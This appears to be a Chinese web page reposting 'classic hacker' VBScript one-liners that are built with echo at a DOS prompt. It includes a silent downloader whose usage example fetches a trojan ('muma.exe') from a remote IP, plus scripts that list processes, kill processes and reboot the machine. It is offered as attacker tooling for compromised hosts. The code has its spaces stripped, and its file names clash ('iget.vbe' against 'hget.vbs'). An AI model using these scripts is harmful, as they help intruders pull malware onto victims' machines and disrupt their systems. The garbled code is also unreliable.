1.文件下载(无回显)
echoiLocal=LCase(WScript.Arguments(1))>iget.vbe
echoiRemote=LCase(WScript.Arguments(0))>>iget.vbe
echoSetxPost=CreateObject("Microsoft.XMLHTTP")>>iget.vbe
echoxPost.Open"GET",iRemote,0>>iget.vbe
echoxPost.Send()>>iget.vbe
echoSetsGet=CreateObject("ADODB.Stream")>>iget.vbe
echosGet.Mode=3>>iget.vbe
echosGet.Type=1>>iget.vbe
echosGet.Open()>>iget.vbe
echosGet.Write(xPost.responseBody)>>iget.vbe
echosGet.SaveToFileiLocal,2>>iget.vbe
用法:cscripthget.vbshttp://111.111.111.111/muma.exemuma.exe
2.列举进程
@echoforeachpsingetobject_>ps.vbs
@echo("winmgmts:.rootcimv2:win32_process").instances_>>ps.vbs
@echowscript.echops.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next>>ps.vbs
用法:cscriptps.vbs
3.终止进程
@echoforeachpsingetobject_>pskill.vbs
@echo("winmgmts:.rootcimv2:win32_process").instances_>>pskill.vbs
@echoifps.handle=wscript.arguments(0)thenwscript.echops.terminate:endif:next>>pskill.vbs
用法:cscriptpskill.vbspid
4.重启系统
@echoforeachosingetobject_>reboot.vbs
@echo("winmgmts:!.rootcimv2:win32_operatingsystem").instances_>>reboot.vbs
@echoos.win32shutdown(2):next>>reboot.vbs
用法:cscriptreboot.vbs
【一些经典的主要用户黑客的vbs脚本结合echo的dos下实现】相关文章：
★ 一个可以更换windows xp or 2003的序列号的vbs脚本